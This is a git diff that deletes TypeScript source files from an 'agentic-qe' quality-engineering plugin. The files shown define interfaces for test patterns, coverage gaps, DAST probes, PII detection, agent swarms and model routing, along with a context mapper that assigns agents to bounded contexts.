- 'security-compliance',
- 'contract-testing',
- 'visual-accessibility',
- 'chaos-resilience',
- 'learning-optimization',
- ],
- dependencies: {
- required: [
- '@claude-flow/plugins',
- '@claude-flow/memory',
- '@claude-flow/security',
- '@claude-flow/embeddings',
- ],
- optional: [
- '@claude-flow/browser',
- '@ruvector/attention',
- '@ruvector/gnn',
- '@ruvector/sona',
- ],
- },
-} as const;
-
-/**
- * Plugin performance targets
- */
-export const PERFORMANCE_TARGETS = {
- testGenerationLatency: '<2s',
- coverageAnalysis: 'O(log n)',
- qualityGateEvaluation: '<500ms',
- securityScanPerKLOC: '<10s',
- mcpToolResponse: '<100ms',
- memoryPerContext: '<50MB',
-} as const;
-
-/**
- * Bounded context agent counts
- */
-export const CONTEXT_AGENT_COUNTS = {
- 'test-generation': 12,
- 'test-execution': 8,
- 'coverage-analysis': 6,
- 'quality-assessment': 5,
- 'defect-intelligence': 4,
- 'requirements-validation': 3,
- 'code-intelligence': 5,
- 'security-compliance': 4,
- 'contract-testing': 3,
- 'visual-accessibility': 3,
- 'chaos-resilience': 4,
- 'learning-optimization': 2,
- 'tdd': 7, // TDD subagents
-} as const;
-
-/**
- * Total agent count
- */
-export const TOTAL_AGENT_COUNT = 51 + 7; // 51 context agents + 7 TDD subagents
diff --git a/v3/plugins/agentic-qe/src/interfaces.ts b/v3/plugins/agentic-qe/src/interfaces.ts
deleted file mode 100644
index 703f6ce9c3..0000000000
--- a/v3/plugins/agentic-qe/src/interfaces.ts
+++ /dev/null
@@ -1,1085 +0,0 @@
-/**
- * Agentic-QE Plugin Interfaces
- *
- * Public interfaces for the Quality Engineering plugin's anti-corruption layer.
- * These interfaces define contracts between agentic-qe and Claude Flow V3 domains.
- *
- * Based on ADR-030: Agentic-QE Plugin Integration
- *
- * @module v3/plugins/agentic-qe/interfaces
- */
-
-// =============================================================================
-// Memory Bridge Interfaces
-// =============================================================================
-
-/**
- * Test pattern learned from successful test generation
- */
-export interface TestPattern {
- /** Unique identifier */
- id: string;
-
- /** Type of test (unit, integration, e2e, etc.) */
- type: TestPatternType;
-
- /** Programming language */
- language: string;
-
- /** Test framework (vitest, jest, pytest, etc.) */
- framework: string;
-
- /** Natural language description */
- description: string;
-
- /** The pattern's code template or structure */
- code: string;
-
- /** Tags for categorization */
- tags: string[];
-
- /** Effectiveness score from usage (0-1) */
- effectiveness: number;
-
- /** Number of times this pattern has been used */
- usageCount: number;
-
- /** Creation timestamp */
- createdAt: number;
-
- /** Last used timestamp */
- lastUsedAt: number;
-
- /** Additional metadata */
- metadata: Record<string, unknown>;
-}
-
-export type TestPatternType =
- | 'unit'
- | 'integration'
- | 'e2e'
- | 'property'
- | 'mutation'
- | 'fuzz'
- | 'api'
- | 'performance'
- | 'security'
- | 'accessibility'
- | 'contract'
- | 'bdd';
-
-/**
- * Filters for pattern search
- */
-export interface PatternFilters {
- type?: TestPatternType;
- language?: string;
- framework?: string;
- tags?: string[];
- minEffectiveness?: number;
-}
-
-/**
- * Coverage gap detected during analysis
- */
-export interface CoverageGap {
- /** Unique identifier */
- id: string;
-
- /** File path with gap */
- file: string;
-
- /** Type of gap (line, branch, function) */
- type: 'line' | 'branch' | 'function' | 'statement';
-
- /** Location information */
- location: {
- startLine: number;
- endLine: number;
- startColumn?: number;
- endColumn?: number;
- };
-
- /** Risk score (0-1, higher = more risky) */
- riskScore: number;
-
- /** Priority ranking */
- priority: 'critical' | 'high' | 'medium' | 'low';
-
- /** Reason for the gap */
- reason: string;
-
- /** Suggested test approach */
- suggestion: string;
-
- /** Detection timestamp */
- detectedAt: number;
-}
-
-/**
- * Learning trajectory for ReasoningBank integration
- */
-export interface LearningTrajectory {
- /** Unique identifier */
- id: string;
-
- /** Type of task that generated this trajectory */
- taskType: string;
-
- /** Agent that performed the task */
- agentId: string;
-
- /** Whether the task succeeded */
- success: boolean;
-
- /** Reward signal for reinforcement learning */
- reward: number;
-
- /** Sequence of steps taken */
- steps: LearningStep[];
-
- /** Final verdict */
- verdict: 'success' | 'failure' | 'partial';
-
- /** Creation timestamp */
- createdAt: number;
-
- /** Duration in milliseconds */
- durationMs: number;
-
- /** Additional context */
- context: Record<string, unknown>;
-}
-
-/**
- * Single step in a learning trajectory
- */
-export interface LearningStep {
- /** Step index */
- index: number;
-
- /** Action taken */
- action: string;
-
- /** Input to the action */
- input: Record<string, unknown>;
-
- /** Output from the action */
- output: Record<string, unknown>;
-
- /** Quality score for this step */
- quality: number;
-
- /** Timestamp */
- timestamp: number;
-}
-
-/**
- * Memory bridge interface for V3 memory integration
- */
-export interface IQEMemoryBridge {
- /**
- * Initialize memory namespaces
- */
- initialize(): Promise<void>;
-
- /**
- * Store a test pattern with semantic embedding
- */
- storeTestPattern(pattern: TestPattern): Promise<string>;
-
- /**
- * Search for similar patterns using HNSW (150x faster)
- */
- searchSimilarPatterns(
- query: string,
- k?: number,
- filters?: PatternFilters
- ): Promise<TestPattern[]>;
-
- /**
- * Store a coverage gap
- */
- storeCoverageGap(gap: CoverageGap): Promise<string>;
-
- /**
- * Get coverage gaps for a file
- */
- getCoverageGaps(file: string): Promise<CoverageGap[]>;
-
- /**
- * Get prioritized coverage gaps
- */
- getPrioritizedGaps(limit?: number): Promise<CoverageGap[]>;
-
- /**
- * Store a learning trajectory for ReasoningBank
- */
- storeTrajectory(trajectory: LearningTrajectory): Promise<string>;
-
- /**
- * Search trajectories by similarity
- */
- searchTrajectories(
- query: string,
- k?: number,
- filters?: { taskType?: string; success?: boolean }
- ): Promise<LearningTrajectory[]>;
-
- /**
- * Clear temporary data (e.g., coverage data)
- */
- clearTemporaryData(): Promise<void>;
-
- /**
- * Get memory statistics
- */
- getStats(): Promise<QEMemoryStats>;
-}
-
-/**
- * Memory statistics for QE namespaces
- */
-export interface QEMemoryStats {
- testPatterns: number;
- coverageGaps: number;
- learningTrajectories: number;
- codeKnowledge: number;
- securityFindings: number;
- totalMemoryBytes: number;
-}
-
-// =============================================================================
-// Security Bridge Interfaces
-// =============================================================================
-
-/**
- * Validated path result
- */
-export interface ValidatedPath {
- path: string;
- valid: boolean;
- error?: string;
- resolvedPath?: string;
-}
-
-/**
- * DAST probe definition
- */
-export interface DASTProbe {
- /** Probe identifier */
- id: string;
-
- /** Probe type */
- type: 'xss' | 'sqli' | 'ssrf' | 'csrf' | 'auth' | 'header' | 'custom';
-
- /** Target endpoint */
- endpoint: string;
-
- /** HTTP method */
- method: 'GET' | 'POST' | 'PUT' | 'DELETE' | 'PATCH';
-
- /** Request payload */
- payload?: Record<string, unknown>;
-
- /** Expected response indicators */
- indicators: string[];
-
- /** Maximum timeout */
- timeout: number;
-}
-
-/**
- * DAST scan result
- */
-export interface DASTResult {
- /** Probe identifier */
- probeId: string;
-
- /** Whether vulnerability was detected */
- vulnerable: boolean;
-
- /** Severity if vulnerable */
- severity?: 'critical' | 'high' | 'medium' | 'low' | 'info';
-
- /** Response status code */
- statusCode: number;
-
- /** Evidence of vulnerability */
- evidence?: string;
-
- /** Execution time */
- executionTimeMs: number;
-}
-
-/**
- * Audit event for compliance tracking
- */
-export interface AuditEvent {
- /** Event type */
- type: 'scan_started' | 'scan_completed' | 'finding_detected' | 'remediation_applied';
-
- /** Actor who triggered the event */
- actor: string;
-
- /** Target of the action */
- target: string;
-
- /** Event details */
- details: Record<string, unknown>;
-
- /** Timestamp */
- timestamp: number;
-}
-
-/**
- * Signed audit entry
- */
-export interface SignedAuditEntry {
- /** Unique identifier */
- id: string;
-
- /** The audit event */
- event: AuditEvent;
-
- /** Entry timestamp */
- timestamp: number;
-
- /** Actor who created the entry */
- actor: string;
-
- /** Cryptographic signature */
- signature: string;
-
- /** Whether signature is verifiable */
- verifiable: boolean;
-}
-
-/**
- * PII type classification
- */
-export type PIIType =
- | 'email'
- | 'phone'
- | 'ssn'
- | 'credit_card'
- | 'api_key'
- | 'password'
- | 'address'
- | 'name'
- | 'dob'
- | 'ip_address';
-
-/**
- * PII detection result
- */
-export interface PIIDetection {
- /** Type of PII detected */
- type: PIIType;
-
- /** Location in the content */
- location: {
- start: number;
- end: number;
- };
-
- /** Confidence score (0-1) */
- confidence: number;
-
- /** The detected value (redacted) */
- redactedValue?: string;
-}
-
-/**
- * Security bridge interface for V3 security integration
- */
-export interface IQESecurityBridge {
- /**
- * Validate a file path before security scan
- */
- validateScanTarget(path: string): Promise<ValidatedPath>;
-
- /**
- * Execute DAST probes with security constraints
- */
- executeDAST(target: string, probes: DASTProbe[]): Promise<DASTResult[]>;
-
- /**
- * Create a signed audit entry
- */
- createAuditEntry(event: AuditEvent): Promise<SignedAuditEntry>;
-
- /**
- * Detect PII in content
- */
- detectPII(content: string): Promise<PIIDetection[]>;
-
- /**
- * Validate input against security schemas
- */
- validateInput<T>(input: unknown, schema: string): Promise<{ valid: boolean; errors?: string[]; value?: T }>;
-
- /**
- * Sanitize error message for safe display
- */
- sanitizeError(error: Error): Error;
-
- /**
- * Get security policy for a context
- */
- getSecurityPolicy(context: string): SecurityPolicy;
-}
-
-/**
- * Security policy configuration
- */
-export interface SecurityPolicy {
- /** Security level */
- level: 'low' | 'medium' | 'high' | 'critical';
-
- /** Network access policy */
- networkPolicy: 'unrestricted' | 'restricted' | 'blocked';
-
- /** File system policy */
- fileSystemPolicy: 'full' | 'workspace-only' | 'readonly' | 'none';
-
- /** Allowed commands */
- allowedCommands: string[];
-
- /** Blocked paths */
- blockedPaths: string[];
-
- /** Maximum execution time */
- maxExecutionTime: number;
-
- /** Maximum memory */
- maxMemory: number;
-}
-
-// =============================================================================
-// Core Bridge Interfaces
-// =============================================================================
-
-/**
- * Test suite definition
- */
-export interface TestSuite {
- /** Unique identifier */
- id: string;
-
- /** Suite name */
- name: string;
-
- /** Test framework */
- framework: string;
-
- /** Individual test cases */
- testCases: TestCase[];
-
- /** Estimated duration in ms */
- estimatedDuration: number;
-
- /** Configuration */
- config: TestSuiteConfig;
-}
-
-/**
- * Test case definition
- */
-export interface TestCase {
- /** Test identifier */
- id: string;
-
- /** Test name */
- name: string;
-
- /** Test file path */
- filePath: string;
-
- /** Test function or describe block */
- testBlock: string;
-
- /** Tags */
- tags: string[];
-
- /** Estimated duration */
- estimatedDuration: number;
-}
-
-/**
- * Test suite configuration
- */
-export interface TestSuiteConfig {
- /** Run tests in parallel */
- parallel: boolean;
-
- /** Maximum parallel workers */
- maxWorkers: number;
-
- /** Retry count for flaky tests */
- retryCount: number;
-
- /** Timeout per test */
- testTimeout: number;
-
- /** Coverage collection */
- collectCoverage: boolean;
-
- /** Watch mode */
- watch: boolean;
-}
-
-/**
- * Executor configuration
- */
-export interface ExecutorConfig {
- /** Enable parallel execution */
- parallel: boolean;
-
- /** Maximum workers */
- maxWorkers: number;
-
- /** Retry count */
- retryCount: number;
-
- /** Timeout in ms */
- timeout: number;
-
- /** Environment variables */
- env?: Record<string, string>;
-}
-
-/**
- * Agent handle for managing spawned agents
- */
-export interface AgentHandle {
- /** Agent identifier */
- id: string;
-
- /** Agent type */
- type: string;
-
- /** Agent name */
- name: string;
-
- /** Current status */
- status: 'spawning' | 'ready' | 'busy' | 'error' | 'terminated';
-
- /** Terminate the agent */
- terminate(): Promise<void>;
-
- /** Send a message to the agent */
- send(message: Record<string, unknown>): Promise<void>;
-}
-
-/**
- * Task handle for managing created tasks
- */
-export interface TaskHandle {
- /** Task identifier */
- id: string;
-
- /** Task type */
- type: string;
-
- /** Current status */
- status: 'pending' | 'queued' | 'running' | 'completed' | 'failed' | 'cancelled';
-
- /** Wait for task completion */
- wait(): Promise<TaskResult>;
-
- /** Cancel the task */
- cancel(): Promise<void>;
-
- /** Get task progress */
- getProgress(): Promise<TaskProgress>;
-}
-
-/**
- * Task result
- */
-export interface TaskResult {
- /** Task identifier */
- taskId: string;
-
- /** Whether task succeeded */
- success: boolean;
-
- /** Result data */
- data?: Record<string, unknown>;
-
- /** Error if failed */
- error?: string;
-
- /** Duration in ms */
- durationMs: number;
-}
-
-/**
- * Task progress
- */
-export interface TaskProgress {
- /** Completion percentage (0-100) */
- percentage: number;
-
- /** Current step */
- currentStep: string;
-
- /** Total steps */
- totalSteps: number;
-
- /** Completed steps */
- completedSteps: number;
-
- /** Estimated remaining time in ms */
- estimatedRemainingMs: number;
-}
-
-/**
- * Quality gate definition
- */
-export interface QualityGate {
- /** Gate identifier */
- id: string;
-
- /** Gate name */
- name: string;
-
- /** Evaluation criteria */
- criteria: QualityGateCriteria;
-
- /** Required for release */
- required: boolean;
-
- /** Gate weight in overall score */
- weight: number;
-}
-
-/**
- * Quality gate criteria
- */
-export interface QualityGateCriteria {
- /** Metric to evaluate */
- metric: string;
-
- /** Comparison operator */
- operator: '>' | '<' | '>=' | '<=' | '==' | '!=';
-
- /** Threshold value */
- threshold: number;
-}
-
-/**
- * Quality metrics
- */
-export interface QualityMetrics {
- /** Code coverage percentage */
- coveragePercent: number;
-
- /** Number of passing tests */
- testsPassed: number;
-
- /** Number of failing tests */
- testsFailed: number;
-
- /** Number of skipped tests */
- testsSkipped: number;
-
- /** Number of security issues */
- securityIssues: number;
-
- /** Code complexity score */
- complexityScore: number;
-
- /** Technical debt minutes */
- technicalDebtMinutes: number;
-
- /** Custom metrics */
- custom: Record<string, number>;
-}
-
-/**
- * Workflow result
- */
-export interface WorkflowResult {
- /** Workflow identifier */
- workflowId: string;
-
- /** Whether workflow succeeded */
- success: boolean;
-
- /** Step results */
- stepResults: StepResult[];
-
- /** Overall duration */
- durationMs: number;
-
- /** Final output */
- output?: Record<string, unknown>;
-}
-
-/**
- * Step result
- */
-export interface StepResult {
- /** Step name */
- name: string;
-
- /** Whether step passed */
- passed: boolean;
-
- /** Step output */
- output?: Record<string, unknown>;
-
- /** Error if failed */
- error?: string;
-
- /** Duration */
- durationMs: number;
-}
-
-/**
- * Task priority
- */
-export type Priority = 'critical' | 'high' | 'normal' | 'low';
-
-/**
- * Core bridge interface for V3 core services
- */
-export interface IQECoreBridge {
- /**
- * Spawn a test execution agent
- */
- spawnTestExecutor(testSuite: TestSuite, config: ExecutorConfig): Promise<AgentHandle>;
-
- /**
- * Create a test execution task
- */
- createTestTask(testSuite: TestSuite, priority: Priority): Promise<TaskHandle>;
-
- /**
- * Execute a quality gate workflow
- */
- executeQualityGateWorkflow(gates: QualityGate[], metrics: QualityMetrics): Promise<WorkflowResult>;
-
- /**
- * Get configuration value
- */
- getConfig<T>(key: string): Promise<T | undefined>;
-
- /**
- * List available agents by type
- */
- listAgents(filter?: { type?: string; status?: string }): Promise<AgentHandle[]>;
-
- /**
- * Get agent by ID
- */
- getAgent(agentId: string): Promise<AgentHandle | null>;
-}
-
-// =============================================================================
-// Hive Bridge Interfaces
-// =============================================================================
-
-/**
- * Hive Mind role
- */
-export type HiveRole = 'queen' | 'worker' | 'specialist' | 'scout';
-
-/**
- * QE swarm task
- */
-export interface QESwarmTask {
- /** Task identifier */
- id: string;
-
- /** Required agent types */
- agents: string[];
-
- /** Task priority */
- priority: 'low' | 'normal' | 'high' | 'critical';
-
- /** Task payload */
- payload: Record<string, unknown>;
-
- /** Task type */
- type: string;
-
- /** Timeout in ms */
- timeout: number;
-}
-
-/**
- * QE swarm result
- */
-export interface QESwarmResult {
- /** Task identifier */
- taskId: string;
-
- /** Results from each agent */
- agentResults: AgentTaskResult[];
-
- /** Number of completed agents */
- completedAgents: number;
-
- /** Total agents assigned */
- totalAgents: number;
-
- /** Overall success */
- success: boolean;
-
- /** Aggregated output */
- aggregatedOutput?: Record<string, unknown>;
-}
-
-/**
- * Individual agent task result
- */
-export interface AgentTaskResult {
- /** Agent identifier */
- agentId: string;
-
- /** Whether agent succeeded */
- success: boolean;
-
- /** Agent output */
- output: Record<string, unknown>;
-
- /** Error if failed */
- error?: string;
-
- /** Duration */
- durationMs: number;
-}
-
-/**
- * Consensus result
- */
-export interface ConsensusResult {
- /** Whether consensus was reached */
- accepted: boolean;
-
- /** Reason if rejected */
- reason?: string;
-
- /** Votes for */
- votesFor: number;
-
- /** Votes against */
- votesAgainst: number;
-
- /** Total voters */
- totalVoters: number;
-}
-
-/**
- * Hive bridge interface for V3 Hive Mind coordination
- */
-export interface IQEHiveBridge {
- /**
- * Register QE Queen with Hive Mind
- */
- registerQueen(): Promise<void>;
-
- /**
- * Spawn a QE worker and join to hive
- */
- spawnQEWorker(agentType: string, context: string): Promise<string>;
-
- /**
- * Coordinate a QE swarm task
- */
- coordinateQESwarm(task: QESwarmTask): Promise<QESwarmResult>;
-
- /**
- * Execute operation with Byzantine fault tolerance
- */
- executeWithBFT<T>(operation: () => Promise<T>, replicaCount?: number): Promise<T>;
-
- /**
- * Propose task allocation via consensus
- */
- proposeTaskAllocation(task: QESwarmTask, requiredAgents: string[]): Promise<ConsensusResult>;
-
- /**
- * Broadcast result to hive
- */
- broadcastResult(taskId: string, result: QESwarmResult): Promise<void>;
-
- /**
- * Store QE state in hive memory
- */
- storeQEState(key: string, value: unknown): Promise<void>;
-
- /**
- * Retrieve QE state from hive memory
- */
- getQEState<T>(key: string): Promise<T | null>;
-
- /**
- * Get queen identifier
- */
- getQueenId(): string;
-
- /**
- * Leave the hive (cleanup)
- */
- leave(): Promise<void>;
-}
-
-// =============================================================================
-// Model Routing Adapter Interfaces
-// =============================================================================
-
-/**
- * QE task for model routing
- */
-export interface QETask {
- /** Task category */
- category: string;
-
- /** Task description */
- description: string;
-
- /** Target file path (optional) */
- targetPath?: string;
-
- /** Additional context */
- context?: Record<string, unknown>;
-}
-
-/**
- * Model tier
- */
-export type ModelTier = 1 | 2 | 3;
-
-/**
- * Model selection
- */
-export type ModelSelection = 'haiku' | 'sonnet' | 'opus';
-
-/**
- * Route result from model routing
- */
-export interface QERouteResult {
- /** Selected model tier */
- tier: ModelTier;
-
- /** Selected model */
- model: ModelSelection;
-
- /** QE category */
- qeCategory: string;
-
- /** QE complexity score (0-1) */
- qeComplexity: number;
-
- /** Recommended agents for this task */
- recommendedAgents: string[];
-
- /** Estimated cost */
- costEstimate: number;
-
- /** Whether Agent Booster can handle this */
- agentBoosterAvailable: boolean;
-
- /** Agent Booster intent if available */
- agentBoosterIntent?: string;
-
- /** Explanation of routing decision */
- explanation: string;
-}
-
-/**
- * Model routing adapter interface for TinyDancer <-> ADR-026 alignment
- */
-export interface IQEModelRoutingAdapter {
- /**
- * Route a QE task to the appropriate model tier
- */
- routeQETask(task: QETask): Promise<QERouteResult>;
-
- /**
- * Get complexity score for a category
- */
- getCategoryComplexity(category: string): number;
-
- /**
- * Get recommended agents for a tier and category
- */
- getRecommendedAgents(category: string, tier: ModelTier): string[];
-
- /**
- * Estimate cost for a task
- */
- estimateCost(task: QETask, tier: ModelTier): number;
-
- /**
- * Check if Agent Booster can handle the task
- */
- canUseAgentBooster(task: QETask): { available: boolean; intent?: string };
-}
-
-// =============================================================================
-// Plugin Context Interface
-// =============================================================================
-
-/**
- * QE Plugin context for dependency injection
- */
-export interface QEPluginContext {
- /** Memory bridge */
- memory: IQEMemoryBridge;
-
- /** Security bridge */
- security: IQESecurityBridge;
-
- /** Core bridge */
- core: IQECoreBridge;
-
- /** Hive bridge */
- hive: IQEHiveBridge;
-
- /** Model routing adapter */
- modelRouter: IQEModelRoutingAdapter;
-
- /** Logger */
- logger: QELogger;
-
- /** Configuration */
- config: QEPluginConfig;
-}
-
-/**
- * QE logger interface
- */
-export interface QELogger {
- debug(message: string, ...args: unknown[]): void;
- info(message: string, ...args: unknown[]): void;
- warn(message: string, ...args: unknown[]): void;
- error(message: string, ...args: unknown[]): void;
-}
-
-/**
- * QE plugin configuration
- */
-export interface QEPluginConfig {
- /** Plugin namespace */
- namespace: string;
-
- /** Default timeout */
- defaultTimeout: number;
-
- /** Enable learning */
- enableLearning: boolean;
-
- /** Max concurrent tests */
- maxConcurrentTests: number;
-
- /** Coverage target */
- coverageTarget: number;
-
- /** Security level */
- securityLevel: 'low' | 'medium' | 'high' | 'critical';
-}
diff --git a/v3/plugins/agentic-qe/src/plugin.ts b/v3/plugins/agentic-qe/src/plugin.ts
deleted file mode 100644
index 2fff0c1d5d..0000000000
--- a/v3/plugins/agentic-qe/src/plugin.ts
+++ /dev/null
@@ -1,1331 +0,0 @@
-/**
- * Agentic-QE Plugin Implementation
- * Main plugin class implementing PluginInterface with lifecycle methods
- *
- * @module v3/plugins/agentic-qe/plugin
- * @version 3.2.3
- */
-
-// Bridge interfaces are available but not directly used in this scaffold
-// They will be used by the full implementation
-import type { QEPluginContext } from './interfaces.js';
-
-import type {
- AQEPluginConfig,
- BoundedContext,
- ContextMapping,
- ModelTier,
- QEMemoryNamespace,
- SecurityLevel,
- V3Domain,
-} from './types.js';
-
-import {
- PluginConfigSchema,
- parseWithDefaults,
-} from './schemas.js';
-
-// =============================================================================
-// Local Interface Definitions (for plugin system integration)
-// =============================================================================
-
-/**
- * Plugin interface for V3 plugin system
- */
-interface IPlugin {
- readonly name: string;
- readonly version: string;
- readonly description: string;
- readonly author: string;
- readonly capabilities: readonly string[];
- register(registry: IPluginRegistry): Promise<void>;
- initialize(context: IPluginContext): Promise<void>;
- shutdown(): Promise<void>;
- getHealth(): Promise<PluginHealthStatus>;
-}
-
-/**
- * Plugin registry for tool/hook/worker registration
- */
-interface IPluginRegistry {
- registerTool?(tool: IMCPTool): void;
- registerHook?(hook: QEHookDefinition): void;
- registerWorker?(worker: QEWorkerDefinition): void;
- registerAgent?(agent: QEAgentDefinition): void;
- registerTools?(tools: IMCPTool[]): void;
- registerHooks?(hooks: QEHookDefinition[]): void;
- registerWorkers?(workers: QEWorkerDefinition[]): void;
- registerAgents?(agents: QEAgentDefinition[]): void;
-}
-
-/**
- * Plugin context with V3 services
- */
-interface IPluginContext {
- services: {
- memory?: unknown;
- security?: unknown;
- embeddings?: unknown;
- modelRouter?: unknown;
- hiveMind?: unknown;
- ui?: unknown;
- };
- config: Record<string, unknown>;
- logger: {
- debug(message: string, ...args: unknown[]): void;
- info(message: string, ...args: unknown[]): void;
- warn(message: string, ...args: unknown[]): void;
- error(message: string, ...args: unknown[]): void;
- };
- getConfig?(): Record<string, unknown>;
- set?(key: string, value: unknown): void;
- getMemoryService?(): {
- clearNamespace(ns: string): Promise<void>;
- createNamespace?(config: unknown): Promise<void>;
- } | null;
- getSecurityModule?(): { pathValidator: { validate(path: string): Promise<{ valid: boolean; error?: string }> } } | null;
- getUIService?(): { confirm(message: string): Promise<boolean> } | null;
-}
-
-/**
- * MCP tool interface
- */
-interface IMCPTool {
- name: string;
- description: string;
- inputSchema: Record<string, unknown>;
- category?: string;
- version?: string;
- handler?: (input: unknown, context: IPluginContext) => Promise<MCPToolResult>;
- execute?: (input: unknown, context: IPluginContext) => Promise<MCPToolResult>;
-}
-
-/**
- * MCP tool result
- */
-interface MCPToolResult {
- content?: Array<{ type: string; text: string }>;
- success?: boolean;
- data?: unknown;
- error?: string;
- isError?: boolean;
-}
-
-/**
- * Plugin health status
- */
-interface PluginHealthStatus {
- healthy: boolean;
- status?: 'healthy' | 'degraded' | 'unhealthy';
- components: Record<string, ComponentHealth>;
- lastCheck: number;
- uptime: number;
-}
-
-/**
- * Component health
- */
-interface ComponentHealth {
- name: string;
- healthy: boolean;
- status?: 'healthy' | 'degraded' | 'unhealthy';
- message?: string;
- lastCheck: number;
- lastSuccess?: number;
-}
-
-/**
- * Hook definition
- */
-interface QEHookDefinition {
- name: string;
- event: string;
- priority: 'low' | 'normal' | 'high' | 'critical';
- description?: string;
- handler: string | ((context: IPluginContext, data: unknown) => Promise<void>);
-}
-
-/**
- * Worker definition
- */
-interface QEWorkerDefinition {
- name: string;
- type: string;
- capabilities?: string[];
- maxConcurrent?: number;
- handler?: (context: IPluginContext, input: unknown) => Promise<unknown>;
-}
-
-/**
- * Agent definition
- */
-interface QEAgentDefinition {
- id: string;
- name?: string;
- type?: string;
- context: string | BoundedContext;
- capabilities: string[];
- modelTier?: ModelTier;
- description?: string;
-}
-
-/**
- * Context mapper interface
- */
-interface IContextMapper {
- mapToV3Domain(context: BoundedContext): V3Domain[];
- getAgentsForContext(context: BoundedContext): string[];
- getMemoryNamespace(context: BoundedContext): string;
- getSecurityLevel(context: BoundedContext): SecurityLevel;
-}
-
-/**
- * Security sandbox interface
- */
-interface ISecuritySandbox {
- execute<T>(fn: () => Promise<T>, options?: SandboxExecutionOptions): Promise<T>;
- validatePath(path: string): boolean;
- getResourceUsage(): ResourceUsage;
-}
-
-interface SandboxExecutionOptions {
- timeout?: number;
- maxMemory?: number;
- allowNetwork?: boolean;
- allowFileSystem?: boolean;
- allowFileWrite?: boolean;
- workingDirectory?: string;
- securityLevel?: SecurityLevel;
-}
-
-interface ResourceUsage {
- memoryBytes?: number;
- memoryUsed?: number;
- cpuMs?: number;
- cpuTime?: number;
- networkRequests?: number;
- fileOperations?: number;
- activeOperations?: number;
-}
-
-// =============================================================================
-// Constants
-// =============================================================================
-
-const PLUGIN_NAME = 'agentic-qe';
-const PLUGIN_VERSION = '3.2.3';
-const PLUGIN_DESCRIPTION = 'Quality Engineering plugin with 51 specialized agents across 12 DDD bounded contexts';
-const PLUGIN_AUTHOR = 'rUv';
-
-const PLUGIN_CAPABILITIES = [
- 'test-generation',
- 'test-execution',
- 'coverage-analysis',
- 'quality-assessment',
- 'defect-intelligence',
- 'requirements-validation',
- 'code-intelligence',
- 'security-compliance',
- 'contract-testing',
- 'visual-accessibility',
- 'chaos-resilience',
- 'learning-optimization',
-] as const;
-
-// =============================================================================
-// Context Mapper Implementation
-// =============================================================================
-
-/**
- * Maps QE bounded contexts to V3 domains
- */
-class ContextMapper implements IContextMapper {
- private mappings: Map<BoundedContext, ContextMapping> = new Map();
-
- constructor() {
- this.initializeMappings();
- }
-
- private initializeMappings(): void {
- const mappingData: ContextMapping[] = [
- {
- qeContext: 'test-generation',
- v3Domains: ['Core', 'Integration'],
- agents: [
- 'unit-test-generator', 'integration-test-generator',
- 'e2e-test-generator', 'property-test-generator',
- 'mutation-test-generator', 'fuzz-test-generator',
- 'api-test-generator', 'performance-test-generator',
- 'security-test-generator', 'accessibility-test-generator',
- 'contract-test-generator', 'bdd-test-generator',
- ],
- memoryNamespace: 'aqe/v3/test-patterns',
- securityLevel: 'medium',
- },
- {
- qeContext: 'test-execution',
- v3Domains: ['Core', 'Coordination'],
- agents: [
- 'test-runner', 'parallel-executor', 'retry-manager',
- 'result-aggregator', 'flaky-test-detector',
- 'timeout-manager', 'resource-allocator', 'test-reporter',
- ],
- memoryNamespace: 'aqe/v3/test-execution',
- securityLevel: 'high',
- },
- {
- qeContext: 'coverage-analysis',
- v3Domains: ['Core', 'Memory'],
- agents: [
- 'coverage-collector', 'gap-detector', 'priority-ranker',
- 'hotspot-analyzer', 'trend-tracker', 'impact-assessor',
- ],
- memoryNamespace: 'aqe/v3/coverage-data',
- securityLevel: 'low',
- },
- {
- qeContext: 'quality-assessment',
- v3Domains: ['Core'],
- agents: [
- 'quality-gate-evaluator', 'readiness-assessor',
- 'risk-calculator', 'metric-aggregator', 'decision-maker',
- ],
- memoryNamespace: 'aqe/v3/quality',
- securityLevel: 'low',
- },
- {
- qeContext: 'defect-intelligence',
- v3Domains: ['Core', 'Memory'],
- agents: [
- 'defect-predictor', 'root-cause-analyzer',
- 'pattern-detector', 'regression-tracker',
- ],
- memoryNamespace: 'aqe/v3/defect-patterns',
- securityLevel: 'low',
- },
- {
- qeContext: 'requirements-validation',
- v3Domains: ['Core'],
- agents: [
- 'bdd-validator', 'testability-analyzer', 'requirement-tracer',
- ],
- memoryNamespace: 'aqe/v3/requirements',
- securityLevel: 'low',
- },
- {
- qeContext: 'code-intelligence',
- v3Domains: ['Core', 'Memory', 'Integration'],
- agents: [
- 'knowledge-graph-builder', 'semantic-searcher',
- 'dependency-analyzer', 'complexity-assessor', 'pattern-miner',
- ],
- memoryNamespace: 'aqe/v3/code-knowledge',
- securityLevel: 'medium',
- },
- {
- qeContext: 'security-compliance',
- v3Domains: ['Security'],
- agents: [
- 'sast-scanner', 'dast-scanner',
- 'audit-trail-manager', 'compliance-checker',
- ],
- memoryNamespace: 'aqe/v3/security-findings',
- securityLevel: 'critical',
- },
- {
- qeContext: 'contract-testing',
- v3Domains: ['Integration'],
- agents: [
- 'openapi-validator', 'graphql-validator', 'grpc-validator',
- ],
- memoryNamespace: 'aqe/v3/contracts',
- securityLevel: 'medium',
- },
- {
- qeContext: 'visual-accessibility',
- v3Domains: ['Integration'],
- agents: [
- 'visual-regression-detector', 'wcag-checker', 'screenshot-differ',
- ],
- memoryNamespace: 'aqe/v3/visual-baselines',
- securityLevel: 'medium',
- },
- {
- qeContext: 'chaos-resilience',
- v3Domains: ['Core', 'Coordination'],
- agents: [
- 'chaos-injector', 'load-generator',
- 'resilience-assessor', 'recovery-validator',
- ],
- memoryNamespace: 'aqe/v3/chaos-experiments',
- securityLevel: 'critical',
- },
- {
- qeContext: 'learning-optimization',
- v3Domains: ['Memory', 'Integration'],
- agents: [
- 'cross-domain-learner', 'pattern-optimizer',
- ],
- memoryNamespace: 'aqe/v3/learning-trajectories',
- securityLevel: 'low',
- },
- ];
-
- for (const mapping of mappingData) {
- this.mappings.set(mapping.qeContext, mapping);
- }
- }
-
- getMapping(context: BoundedContext): ContextMapping | undefined {
- return this.mappings.get(context);
- }
-
- mapToV3Domain(context: BoundedContext): V3Domain[] {
- return this.mappings.get(context)?.v3Domains ?? [];
- }
-
- getV3DomainsForContext(context: BoundedContext): V3Domain[] {
- return this.mappings.get(context)?.v3Domains ?? [];
- }
-
- getAgentsForContext(context: BoundedContext): string[] {
- return this.mappings.get(context)?.agents ?? [];
- }
-
- getAllAgents(): string[] {
- return Array.from(this.mappings.values()).flatMap((m) => m.agents);
- }
-
- getSecurityLevel(context: BoundedContext): SecurityLevel {
